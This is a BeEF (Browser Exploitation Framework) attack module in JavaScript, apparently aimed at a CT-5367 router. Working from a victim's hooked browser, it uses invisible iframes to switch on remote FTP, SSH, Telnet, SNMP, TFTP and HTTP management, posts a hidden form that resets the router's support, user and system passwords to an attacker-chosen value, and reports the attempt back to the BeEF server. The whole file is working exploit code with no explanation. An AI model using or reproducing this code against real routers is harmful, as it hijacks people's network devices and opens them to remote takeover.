//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var gateway = '<%= @base %>'; 
  var passwd  = '<%= @password %>';
  var timeout = 15;

  var ct5367_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();
  ct5367_iframe1_<%= @command_id %>.setAttribute('src', gateway+'scsrvcntr.cmd?action=save&ftp=1&ftp=3&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3&telnet=1&telnet=3&tftp=1&tftp=3');

  var ct5367_iframe2_<%= @command_id %> = beef.dom.createInvisibleIframe();

  var form = document.createElement('form');
  form.setAttribute('action', gateway + "password.cgi");
  form.setAttribute('method', 'post');

  var input = null;

  input = document.createElement('input');
  input.setAttribute('type', 'hidden');
  input.setAttribute('name', 'sptPassword');
  input.setAttribute('value', passwd);
  form.appendChild(input);

  input = document.createElement('input');
  input.setAttribute('type', 'hidden');
  input.setAttribute('name', 'usrPassword');
  input.setAttribute('value', passwd);
  form.appendChild(input);

  input = document.createElement('input');
  input.setAttribute('type', 'hidden');
  input.setAttribute('name', 'sysPassword');
  input.setAttribute('value', passwd);
  form.appendChild(input);

  ct5367_iframe2_<%= @command_id %>.contentWindow.document.body.appendChild(form);
  form.submit();

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(ct5367_iframe1_<%= @command_id %>);
    document.body.removeChild(ct5367_iframe2_<%= @command_id %>);
  }
  setTimeout("cleanup()", timeout*1000);

});

